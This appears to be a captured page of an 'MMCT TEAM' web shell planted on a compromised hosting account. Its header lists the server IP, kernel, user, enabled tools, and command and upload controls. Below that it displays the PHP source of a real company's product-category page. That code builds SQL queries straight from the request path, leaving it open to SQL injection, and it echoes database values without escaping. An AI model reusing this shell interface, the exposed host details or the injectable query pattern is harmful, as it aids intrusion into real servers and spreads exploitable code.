MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.136.23.132
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/automationpowersolutions.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/automationpowersolutions.com/product-category.php
<?php
    include_once('admin/config.php');
    $slug_name = $_GET['cat_url'];
    if(isset($_SERVER['PATH_INFO'])){
    $slug_name=$_SERVER['PATH_INFO'];
    $querydt="SELECT * FROM `tb7_product_cat` WHERE `cat_url`='$slug_name'";
    $rundt = mysqli_query($db,$querydt) or die("Query Not run");
    $datadt = mysqli_fetch_assoc($rundt);
    
 }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <!-- Responsive -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
    <?php include 'headlink.php';?>
    
    <title><?php echo $datadt["meta_title"];?></title>
    <meta name="description" content="<?php echo $datadt["meta_desc"];?>">
</head>
<body>

    <?php include 'header.php';?>

	<!-- Page Title -->
    <section class="page-title" style="background-image: url(images/background/9.jpg)">
        <div class="auto-container">
			<ul class="bread-crumb clearfix">
				<li><a href="<?php echo $wspath?>">Home</a></li>
				<li><?php echo $datadt["cat_name"];?></li>
			</ul>
			<h2><?php echo $datadt["cat_name"];?></h2>
        </div>
    </section>
    <!--End Page Title-->
    <marquee class="marquee-text"><?php echo $datamarq['message'] ?></marquee>

	<!-- Welcome Section / Style Two -->
	<section class="news-section-three">
        <div class="pattern-layer" style="background-image:url(<?php echo $wspath?>images/background/pattern-25.png)"></div>
        <div class="auto-container">
            <!-- Sec Title Three -->
            <div class="sec-title-three pt-4">
                <div class="clearfix">
                    <!--<div class="pull-left">-->
                    <!--    <div class="title">Blog</div>-->
                    <!--    <h2>Let's Checkout Our All <br> Current News.</h2>-->
                    <!--</div>-->
                    <!--<div class="pull-right">-->
                    <!--    <div class="text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor-->
                    <!--        <br> incididunt ut labore et dolore magna aliqua. Quis ipsum suspendisse ultrices <br> gravida.-->
                    <!--        Risus commodo viverra maecenas accumsan lacus vel facilisis.</div>-->
                    <!--</div>-->
                </div>
            </div>
    
            <div class="row clearfix">
                <?php
                    $c_id=$datadt['c_id'];
                    $sqlci = "SELECT * FROM `tb7_product` WHERE cat_id ='$c_id'";
                    $runci = mysqli_query($db, $sqlci) or die("Query Not run");
                    while ($dataci = mysqli_fetch_assoc($runci)) {
                    $serviceUrl = $wspath ;
                    if (isset($_REQUEST['loc_slug'])) {
                        $loc_slug = htmlspecialchars($_REQUEST['loc_slug']);
                        $serviceUrl .=  $loc_slug. '/';
                    }
                    $serviceUrl .= '' . $dataci['slug_url'] . '.html';
                ?>
                
                <li><a href=""></a></li>
                <!-- News Block Three -->
                <div class="news-block-three col-lg-4 col-md-6 col-sm-12">
                    <div class="inner-box wow fadeInLeft animated" data-wow-delay="0ms" data-wow-duration="1500ms"
                        style="visibility: visible; animation-duration: 1500ms; animation-delay: 0ms; animation-name: fadeInLeft;">
                        <div class="image">
                            <a href="<?php echo $serviceUrl; ?>"><img src="<?php echo $wspath?>images/resource/products/<?php echo $dataci['src_image']?>" alt="<?php echo $dataci['src_name']?>"></a>
                        </div>
                        <div class="lower-content">
                            <!--<ul class="post-info">-->
                            <!--    <li><span class="icon flaticon-calendar"></span>Oct 23, 2021</li>-->
                            <!--    <li><span class="icon flaticon-user-2"></span>Oct 23, 2021</li>-->
                            <!--    <li><span class="icon flaticon-chat-1"></span>5</li>-->
                            <!--</ul>-->
                            <h4><a href="<?php echo $serviceUrl; ?>"><?php echo $dataci['src_name']?></a></h4>
                            <a class="explore" href="<?php echo $serviceUrl; ?>">Explore More <span class="flaticon-plus"></span></a>
                        </div>
                    </div>
                </div>
                <?php 
				   }
				?>
                <!-- News Block Three -->
                <!--<div class="news-block-three col-lg-4 col-md-6 col-sm-12">-->
                <!--    <div class="inner-box wow fadeInUp animated" data-wow-delay="0ms" data-wow-duration="1500ms"-->
                <!--        style="visibility: visible; animation-duration: 1500ms; animation-delay: 0ms; animation-name: fadeInUp;">-->
                <!--        <div class="image">-->
                <!--            <a href="blog-detail.html"><img src="images/resource/news-9.jpg" alt=""></a>-->
                <!--        </div>-->
                <!--        <div class="lower-content">-->
                <!--            <ul class="post-info">-->
                <!--                <li><span class="icon flaticon-calendar"></span>Oct 23, 2021</li>-->
                <!--                <li><span class="icon flaticon-user-2"></span>Oct 23, 2021</li>-->
                <!--                <li><span class="icon flaticon-chat-1"></span>5</li>-->
                <!--            </ul>-->
                <!--            <h4><a href="blog-detail.html">Best for any Industrial &amp; Business Solution</a></h4>-->
                <!--            <a class="explore" href="blog-detail.html">Explore More <span class="flaticon-plus"></span></a>-->
                <!--        </div>-->
                <!--    </div>-->
                <!--</div>-->
            </div>
        </div>
    </section>
	
	<!-- End Welcome Section -->
	  	<?php include'counters.php';?>

		<?php include 'footer.php';?>

MMCT - 2023